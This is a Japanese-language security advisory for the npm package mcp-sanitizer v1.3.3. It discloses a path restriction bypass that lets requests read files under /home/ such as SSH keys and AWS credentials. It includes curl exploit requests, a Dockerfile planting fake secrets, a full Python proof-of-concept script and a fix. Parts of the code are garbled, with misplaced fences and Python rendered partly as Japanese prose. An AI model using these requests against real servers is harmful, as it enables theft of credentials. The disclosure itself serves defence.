mcp-sanitizer: ファイルパスサニタイザーは、任意のユーザーホームディレクトリの絶対パスを許可する
## ファイルパスサニタイザーは、任意のユーザーホームディレクトリの絶対パスを許可する
### 概要
`mcp-sanitizer` v1.3.3では、ファイルパスの検証ロジック (`src/utils/validation-utils.js:188-196`)において、`/home/` と `/Users/` を許可された絶対パスのプレフィックスとして明示的にホワイトリストに登録しています。その結果、`/home/alice/.ssh/id_rsa` や `/home/alice/.aws/credentials` のようなパスは、設定された安全なルートディレクトリの外にある非常に機密性の高いファイルであっても、`sanitizer.sanitize()` を通過し、`blocked=false` となります。サニタイズされたパスを信頼し、それをファイルシステムの読み書き操作(例:`fs.readFile`)に渡すアプリケーションは、認証されていないネットワーク攻撃者に、任意のユーザーホームディレクトリ内のファイルへのアクセスを許してしまう可能性があります。動的な再現実験により、シミュレートされたSSH秘密鍵とAWSの認証情報が、単一のHTTP POSTリクエストによって外部に送信されることが確認されました。
### 詳細
この脆弱性は、`src/utils/validation-utils.js` 内の `validateFilePath` 関数に存在します。絶対パスが設定された安全なルートディレクトリの範囲外にある場合、この関数はハードコーディングされた許可リストに対する二次的なチェックを実行します。
```js
// src/utils/validation-utils.js:188-196
if (!isInSafeLocation && path.isAbsolute(normalizedPath)) {
const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =>
normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())
);
if (!isAllowedAbsolute) {
throw new Error('Absolute path not in allowed safe directory');
}
}
```
`/home/` と `/Users/` が `allowedAbsolutePaths` に含まれているため、これらのディレクトリ以下のすべてのパス(`~/.ssh/id_rsa`、`~/.aws/credentials`、`~/.kube/config`、`~/.gnupg/` などを含む)は、安全であると見なされ、変更されずに検証を通過します。
危険なパス(`src/utils/validation-utils.js:135`の`dangerousUnixPaths`)は、`/etc/`、`/proc/`、`/sys/`、`/dev/`、`/root/`、`/boot/`、`/usr/bin/`、および`/sbin/`のみを対象としています。ホームディレクトリ内の機密サブディレクトリ(`.ssh`、`.aws`、`.gnupg`、`.kube`、`.config`)は、一切チェックされません。
ネットワークリクエストから脆弱な戻り値までのデータフローは以下の通りです。
1. **`src/middleware/express.js:538-541`** — Expressのミドルウェアが、`file_reader`/`file_writer`ツールのパラメータを`sanitizer.sanitize(params.file_path, { type: 'file_path' })`に渡します。
2. **`src/sanitizer/mcp-sanitizer.js:523-524`** — `context.type === 'file_path'`の場合、`_secureSanitizeFilePath()`が呼び出されます。
3. **`src/sanitizer/mcp-sanitizer.js:683-687`** — `validateFilePath()`が呼び出されます。エラーが発生しない場合、正規化されたパスがサニタイズされた値として返されます。
4. **`src/utils/validation-utils.js:188-196`** — `/home/`のプレフィックスチェックがエラーなしで通過します。
5. **`src/utils/validation-utils.js:200-201`** — 攻撃者によって制御された元の絶対パスが、信頼されたサニタイズされた値として呼び出し元に返されます。
`{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }`を受け取るアプリケーションは、そのパスをI/Oに使用すると想定されます。サニタイザー自身の`README`やミドルウェアとの統合は、`blocked: false`の結果は安全に使用できることを示唆しています。
**推奨される修正:**
```diff
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@
const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];
+ const sensitiveHomeFragments = [
+ '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',
+ '/.npmrc', '/.env'
+ ];
@@
+ const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase();
+ if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {
+ throw new Error('機密性の高いユーザー設定ファイルへのアクセスは許可されていません');
+ }
@@
- const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
+ const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];
```
### PoC (概念実証)
**必要な環境:** Docker, Python 3, Node.js 20
**ステップ1 — 再現環境のコンテナを構築して起動する:**
```bash
# vuln-002/ ディレクトリ内
python3 poc.py
```
このスクリプトは自動的に以下の処理を行います。
1. `mcp-sanitizer` のソースコードを Docker のビルドコンテキストにコピーします。
2. コンテナ内に、`/home/victim/.ssh/id_rsa` と `/home/victim/.aws/credentials` という仮想の被害者ファイルを作成します。
3. `sanitizer.sanitize()` を呼び出し、返されたパスに対して `fs.readFile` を実行する HTTP サーバー (`server.js`) を構築します。
4. 以下の3つのテストリクエストを送信します。
**ステップ2 — 手動による HTTP リクエスト (コンテナがポート 13572 で実行されている場合):**
コントロールテスト — 拒否されるはずです。
```bash
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}'
# 期待される結果: {"blocked": true}
```
エクスプロイトテスト1 — SSH秘密鍵の不正取得:
```bash
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}'
# 期待される結果: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."}
```
脆弱性テスト2 — AWS認証情報漏洩:
```bash
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}'
# 期待される結果: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."}
```
**観察された結果(フェーズ2:動的な再現):**
```
[テスト1 — 正常系] POST /tool {file_path: '/etc/passwd'}
=> blocked=true ✓ (dangerousUnixPaths が正しく /etc/ をブロック)
[テスト2 — 脆弱性] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}
=> blocked=false, EXPLOIT_SUCCESS=true
sanitized_path: /home/victim/.ssh/id_rsa
file_content:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK
SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002
-----END RSA PRIVATE KEY-----
[テスト3 — 脆弱性] POST /tool {file_path: '/home/victim/.aws/credentials'}
=> blocked=false, EXPLOIT_SUCCESS=true
file_content:
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-east-1
```
**根本原因の確認:** `validation-utils.js:190` — `allowedAbsolutePaths` に `'/home/'` と `'/Users/'` が含まれており、`/home/` で始まる絶対パスは `blocked=false` で通過する。
### 影響
これは、**ディレクトリトラバーサル / 不適切なパス制限 (CWE-22)** の脆弱性です。
`mcp-sanitizer` を使用して、MCP の `file_reader` または `file_writer` ツールでファイルパスを検証するすべてのアプリケーションが影響を受けます。このライブラリは、Express ミドルウェアを介してネットワーク上で公開される MCP サーバーでの使用を目的として設計されています。認証されていないリモート攻撃者は、`/home/` または `/Users/` 以下の任意のファイルへの絶対パスを指定でき、認証、特別な権限、および正規ユーザーの操作は不要です。
**機密性の高い対象には、以下が含まれますが、これらに限定されません:**
- SSHの秘密鍵 (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`)
- クラウドプロバイダーの認証情報 (`~/.aws/credentials`, `~/.config/gcloud/credentials.db`)
- Kubernetesの設定ファイル (`~/.kube/config`)
- GPGの鍵 (`~/.gnupg/`)
- アプリケーションのトークン (`~/.npmrc`, `~/.netrc`, `~/.env`)
機密性への影響度は**高**です。なぜなら、SSHの鍵とクラウドの認証情報は、リモートシステムやクラウドインフラストラクチャへの完全なアクセスを許可する可能性があるからです。完全性や可用性への影響はありません。脆弱性はファイルへの読み込み(および潜在的な書き込み)に限られています。
### 再現に必要なファイル
#### `Dockerfile`
```dockerfile
# VULN-002の再現:mcp-sanitizer v1.3.3 /home/* パスバイパス
# Node 20のコンテナを構築します。
# - ローカルリポジトリからmcp-sanitizerのソースコード
# - /home/victim/.ssh/と/home/victim/.aws/に偽の機密ファイル
# - サニタイザーを信頼するHTTPサーバー
FROM node:20-slim
LABEL vuln="VULN-002" \
cwe="CWE-22" \
title="mcp-sanitizer home-directory パスバイパス"
# mcp-sanitizerのプロダクションに必要な依存関係をインストール
WORKDIR /app/repo
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --omit=dev --no-audit --no-fund
# mcp-sanitizerのソースコードをコピー
COPY repo/src ./src
```
# 脆弱な環境を模倣した被害者のホームディレクトリを作成し、機密ファイルを追加します。
# これらは、実際の攻撃者が標的にする可能性のある情報を表しています。
RUN mkdir -p /home/victim/.ssh /home/victim/.aws
RUN echo '-----BEGIN RSA PRIVATE KEY-----' > /home/victim/.ssh/id_rsa && \
echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK' >> /home/victim/.ssh/id_rsa && \
echo 'SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002' >> /home/victim/.ssh/id_rsa && \
echo 'CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS' >> /home/victim/.ssh/id_rsa && \
echo '-----END RSA PRIVATE KEY-----' >> /home/victim/.ssh/id_rsa && \
chmod 600 /home/victim/.ssh/id_rsa
RUN echo '[default]' > /home/victim/.aws/credentials && \
echo 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' >> /home/victim/.aws/credentials && \
echo 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \
echo 'region = us-east-1' >> /home/victim/.aws/credentials && \
chmod 600 /home/victim/.aws/credentials
# コンシューマーサーバーアプリケーションをコピーします。
WORKDIR /app
COPY server.js ./server.js
EXPOSE 3000
CMD ["node", "server.js"]
```
#### `poc.py`
```python
#!/usr/bin/env python3
"""
VULN-002 動的な再現 PoC
mcp-sanitizer v1.3.3 — ファイルパスサニタイザーは、任意のユーザーのホームディレクトリの絶対パスを許可します (CWE-22)
脆弱性:
src/utils/validation-utils.js:188-196 は、明示的に '/home/' と '/Users/' を許可された絶対パスのプレフィックスとしてホワイトリスト化しています。
/home/victim/.ssh/id_rsa のようなパスは、sanitizer.sanitize(path, {type: 'file_path'}) を実行しても blocked=false となり、
コンシューマーアプリケーションは、信頼されたサニタイズされたパスを使用してファイルを読み込みます。
```
攻撃の連鎖:
1. 攻撃者は、ファイルパスを/home/victim/.ssh/id_rsaとして指定して、POSTリクエストを/toolに送信します。
2. sanitizer.sanitize()は、{blocked: false, sanitized: '/home/victim/.ssh/id_rsa'}を返します。
3. クライアントアプリケーションは、サニタイザーを信頼して、fs.readFile(sanitized_path)を呼び出します。
4. SSHの秘密鍵の内容がHTTPレスポンスとして返されます(データが外部に送信されます)。
使用方法:
python3 poc.py
"""
import json
import os
import shutil
import subprocess
import sys
import tempfile
import time
import urllib.request
import urllib.error
# パス
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "repo"))
PHASE2_RESULT = os.path.join(SCRIPT_DIR, "phase2_result.json")
# Dockerの設定
IMAGE_NAME = "vuln002-mcp-sanitizer-poc"
CONTAINER_NAME = "vuln002-poc-container"
HOST_PORT = 13572 # 競合を避けるために高いポートを使用
BASE_URL = f"http://127.0.0.1:{HOST_PORT}"
TOOL_URL = f"{BASE_URL}/tool"
HEALTH_URL = f"{BASE_URL}/health"
def log(msg):
print(f"[poc] {msg}", flush=True)
def save_result(passed, verdict, reason, evidence, build_cmd, run_cmd):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": build_cmd,
"run_command": run_cmd,
"poc_command": "python3 poc.py",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "server.js"]
}
with open(PHASE2_RESULT, "w", encoding="utf-8") as f:
json.dump(result, f, indent=2, ensure_ascii=False)
log(f"phase2_result.jsonを保存しました (verdict={verdict})")
def run(cmd, timeout=300, capture=True):
"""サブプロセスコマンドを実行し、(returncode, stdout, stderr)を返します。"""
result = subprocess.run(
cmd, capture_output=capture, text=True, timeout=timeout
)
return result.returncode, result.stdout, result.stderr
def stop_container():
subprocess.run(
["docker", "rm", "-f", CONTAINER_NAME],
capture_output=True, timeout=15
)
```
def http_post(url, payload, timeout=8):
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
url, data=data,
headers={"Content-Type": "application/json"},
method="POST"
)
with urllib.request.urlopen(req, timeout=timeout) as resp:
return json.loads(resp.read().decode("utf-8"))
def http_get(url, timeout=5):
with urllib.request.urlopen(url, timeout=timeout) as resp:
return json.loads(resp.read().decode("utf-8"))
def wait_for_server(max_wait=40):
log(f"ポーリング {HEALTH_URL} を行い、準備完了まで待ちます (最大 {max_wait} 秒)...")
deadline = time.monotonic() + max_wait
while time.monotonic() < deadline:
try:
resp = http_get(HEALTH_URL)
if resp.get("ok"):
log("サーバーが起動し、応答しています。")
return True
except Exception:
pass
time.sleep(0.6)
return False
def prepare_build_context():
"""
一時的な Docker ビルドコンテキストを作成します。内容は以下の通りです。
build_ctx/
Dockerfile
server.js
repo/
package.json
package-lock.json
src/
"""
build_ctx = tempfile.mkdtemp(prefix="vuln002-ctx-")
log(f"ビルドコンテキストのディレクトリ: {build_ctx}")
# このスクリプトのディレクトリから Dockerfile と server.js をコピーします
for fname in ("Dockerfile", "server.js"):
src = os.path.join(SCRIPT_DIR, fname)
dst = os.path.join(build_ctx, fname)
shutil.copy2(src, dst)
log(f" {fname} をコピーしました")
# 必要なリポジトリファイルのみをコピーします (node_modules はコンテキストのサイズを小さくするためにスキップします)
repo_dst = os.path.join(build_ctx, "repo")
os.makedirs(repo_dst)
shutil.copy2(os.path.join(REPO_DIR, "package.json"), repo_dst)
shutil.copy2(os.path.join(REPO_DIR, "package-lock.json"), repo_dst)
shutil.copytree(
os.path.join(REPO_DIR, "src"),
os.path.join(repo_dst, "src")
)
log(f" repo/src とパッケージファイルをコピーしました")
return build_ctx
```
def main():
log("=" * 60)
log("VULN-002 動的再現 — mcp-sanitizer /home/* バイパス")
log("=" * 60)
# 前提条件の検証
if not os.path.isdir(REPO_DIR):
log(f"エラー: リポジトリが {REPO_DIR} に存在しません。")
save_result(False, "FAIL",
"再現の前提条件を満たしていません: リポジトリのディレクトリ({REPO_DIR})が存在しません。",
"", "", "")
return 1
rc, _, _ = run(["docker", "info"], timeout=10)
if rc != 0:
log("エラー: Docker デーモンにアクセスできません。")
save_result(False, "FAIL",
"Docker デーモンにアクセスできません。Docker が実行中であることを確認してください。",
"", "", "")
return 1
# 以前の実行で残っている可能性のあるコンテナを削除
stop_container()
build_ctx = None
try:
# ステップ 1: ビルドコンテキストの準備
build_ctx = prepare_build_context()
# ステップ 2: Docker イメージのビルド
build_cmd = f"docker build -t {IMAGE_NAME} {build_ctx}"
log(f"Docker イメージのビルド: {build_cmd}")
rc, stdout, stderr = run(
["docker", "build", "-t", IMAGE_NAME, build_ctx],
timeout=300
)
if rc != 0:
err_tail = (stdout + stderr)[-600:]
log(f"Docker のビルドに失敗しました (rc={rc}):\n{err_tail}")
save_result(False, "FAIL",
f"Docker イメージのビルドに失敗しました (exit code {rc})。 "
f"'npm ci --omit=dev' の失敗または Dockerfile のエラーの可能性があります。 "
f"最後の出力: {err_tail[-200:]}",
err_tail,
build_cmd,
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}")
return 1
log("Docker イメージのビルドに成功しました。")
# ステップ3: コンテナをデタッチモードで実行
run_cmd = f"docker run --rm --name {CONTAINER_NAME} -p {HOST_PORT}:3000 -d {IMAGE_NAME}"
log(f"コンテナの起動: {run_cmd}")
rc, stdout, stderr = run(
["docker", "run", "--rm", "--name", CONTAINER_NAME,
"-p", f"{HOST_PORT}:3000", "-d", IMAGE_NAME],
timeout=30
)
if rc != 0:
log(f"docker run 失敗:\n{stderr}")
save_result(False, "FAIL",
f"コンテナの実行に失敗しました (exit code {rc}): {stderr[-300:]}",
stderr[-300:],
build_cmd, run_cmd)
return 1
container_id = stdout.strip()
log(f"コンテナが起動しました: {container_id[:12]}")
# ステップ4: コンテナ内のHTTPサーバーの起動を待機
if not wait_for_server():
# 診断のためにコンテナのログを収集
_, clog, _ = run(["docker", "logs", CONTAINER_NAME], timeout=10)
log(f"コンテナのログ:\n{clog}")
save_result(False, "FAIL",
f"サーバーが{HOST_PORT}ポートでタイムアウトまでに応答しませんでした。 "
f"コンテナのログ: {clog[-300:]}",
clog[-300:],
build_cmd, run_cmd)
stop_container()
return 1
# ----------------------------------------------------------------
# ステップ5: テスト1 — コントロール: /etc/passwdはブロックされている必要がある
# ----------------------------------------------------------------
log("-" * 50)
log("テスト1 (コントロール): file_path=/etc/passwd [期待される: blocked=true]")
try:
r_ctrl = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/etc/passwd"}
})
except Exception as exc:
r_ctrl = {"_request_error": str(exc)}
log(f" レスポンス: {json.dumps(r_ctrl)[:300]}")
ctrl_blocked = r_ctrl.get("blocked", False)
# ----------------------------------------------------------------
# ステップ6:テスト2 — 脆弱性:/home/victim/.ssh/id_rsa は合格である必要がある
# ----------------------------------------------------------------
log("-" * 50)
log("テスト2(脆弱性):file_path=/home/victim/.ssh/id_rsa [期待される結果:blocked=false + ファイルの内容]")
try:
r_ssh = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/home/victim/.ssh/id_rsa"}
})
except Exception as exc:
r_ssh = {"_request_error": str(exc)}
log(f" レスポンス: {json.dumps(r_ssh)[:400]}")
# ----------------------------------------------------------------
# ステップ7:テスト3 — 脆弱性:/home/victim/.aws/credentials は合格である必要がある
# ----------------------------------------------------------------
log("-" * 50)
log("テスト3(脆弱性):file_path=/home/victim/.aws/credentials [期待される結果:blocked=false + AWSの認証情報]")
try:
r_aws = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/home/victim/.aws/credentials"}
})
except Exception as exc:
r_aws = {"_request_error": str(exc)}
log(f" レスポンス: {json.dumps(r_aws)[:400]}")
# ----------------------------------------------------------------
# ステップ8:結果の評価
# ----------------------------------------------------------------
log("-" * 50)
log("結果を評価中...")
ssh_bypassed = (
not r_ssh.get("blocked", True) and
r_ssh.get("EXPLOIT_SUCCESS") is True and
"id_rsa" in r_ssh.get("sanitized_path", "") and
bool(r_ssh.get("file_content")) and
"RSA" in r_ssh.get("file_content", "")
)
```
aws_bypassed = (
r_aws.get("blocked", True)がFalseであり、
r_aws.get("EXPLOIT_SUCCESS")がTrueであり、
"credentials"がr_aws.get("sanitized_path", "")に含まれており、
r_aws.get("file_content")がNoneでないこと、
"aws_access_key_id"がr_aws.get("file_content", "")に含まれている
)
log(f" [制御] /etc/passwdのブロック状態: {ctrl_blocked}")
log(f" [脆弱性] SSHキーの回避: {ssh_bypassed}")
log(f" [脆弱性] AWS認証情報の回避: {aws_bypassed}")
# PASSの条件: 制御がブロックされていることと、少なくともSSHの回避が確認されていること
if ctrl_blocked and ssh_bypassed:
ssh_content = r_ssh.get("file_content", "")
aws_content = r_aws.get("file_content", "")
evidence = (
f"[テスト1 — 制御] POST /tool {{file_path: '/etc/passwd'}} "
f"=> blocked=true (dangerousUnixPathsが/etc/を正しくブロックしている)\n\n"
f"[テスト2 — 脆弱性] POST /tool {{file_path: '/home/victim/.ssh/id_rsa'}} "
f"=> blocked=false, EXPLOIT_SUCCESS=true\n"
f" sanitized_path: {r_ssh.get('sanitized_path')}\n"
f" ファイルの内容 (一部): \n"
f" {ssh_content[:300]}\n\n"
f"[テスト3 — 脆弱性] POST /tool {{file_path: '/home/victim/.aws/credentials'}} "
f"=> blocked={r_aws.get('blocked', True)}, "
f"EXPLOIT_SUCCESS={r_aws.get('EXPLOIT_SUCCESS')}\n"
f" ファイルの内容: {aws_content[:200]}\n\n"
f"[根本原因] validation-utils.js:190 — "
f"allowedAbsolutePathsに'/home/'と'/Users/'が含まれています: "
f"'/home/'で始まる絶対パスは、blocked=falseで通過します。"
)
```
reason = (
"/home/ プレフィックスが allowedAbsolutePaths のホワイトリストに含まれているため、 "
"/home/victim/.ssh/id_rsa パスが sanitizer.sanitize() で blocked=false と評価されている。 "
"クライアントアプリケーションがこのパスに対して fs.readFile を呼び出し、SSH の秘密鍵の内容が HTTP レスポンスとして漏洩している。 "
"CWE-22 パス制限回避の脆弱性が動的に再現された (コンテナ内で観測可能なファイル漏洩を確認)。"
)
save_result(
True, "PASS", reason, evidence,
f"docker build -t {IMAGE_NAME} <build_ctx>",
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}"
)
log("=== FINAL VERDICT: PASS ===")
return 0
else:
# 失敗の詳細を記録
evidence = (
f"[テスト 1] ctrl のレスポンス: {json.dumps(r_ctrl)[:300]}\n"
f"[テスト 2] ssh のレスポンス: {json.dumps(r_ssh)[:300]}\n"
f"[テスト 3] aws のレスポンス: {json.dumps(r_aws)[:300]}\n"
f"ctrl_blocked={ctrl_blocked}, ssh_bypassed={ssh_bypassed}, aws_bypassed={aws_bypassed}"
)
if not ctrl_blocked:
# 予期せぬ事態: /etc/passwd はブロックされるはず
reason = (
"/etc/passwd パスが予想に反してブロックされていない。 "
"サーバーの初期化エラー、または脆弱性の修正が行われた可能性がある。 サーバーのログを確認してください。"
)
else:
reason = (
f"/home/victim/.ssh/id_rsa のバイパスが確認されていない (ssh_bypassed={ssh_bypassed})。 "
f"レスポンス: {json.dumps(r_ssh)[:200]}。 "
"サーバーのレスポンス構造またはファイル生成を確認する必要がある。 "
"コンテナ内の /home/victim/.ssh/id_rsa ファイルの存在を、"
"'docker exec <container> cat /home/victim/.ssh/id_rsa' で確認してください。"
)
save_result(False, "FAIL", reason, evidence,
f"docker build -t {IMAGE_NAME} <build_ctx>",
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}")
log("=== FINAL VERDICT: FAIL ===")
return 1
except KeyboardInterrupt:
log("ユーザーによる中断。")
return 1
except Exception as exc:
import traceback
tb = traceback.format_exc()
log(f"予期せぬエラー: {exc}\n{tb}")
save_result(False, "INCOMPLETE",
f"予期せぬエラーが発生しました: {exc}. "
"tracebackを確認し、Docker環境およびリポジトリのパスを確認してください。",
tb[-600:], "", "")
return 1
finally:
stop_container()
if build_ctx and os.path.isdir(build_ctx):
shutil.rmtree(build_ctx, ignore_errors=True)
log(f"ビルドコンテキストをクリーンアップしました: {build_ctx}")
if __name__ == "__main__":
sys.exit(main())
影響を受けるパッケージ:
- npm (JavaScript) mcp-sanitizer: 影響あり、バージョン 1.4.0 未満、1.4.0 で修正済み。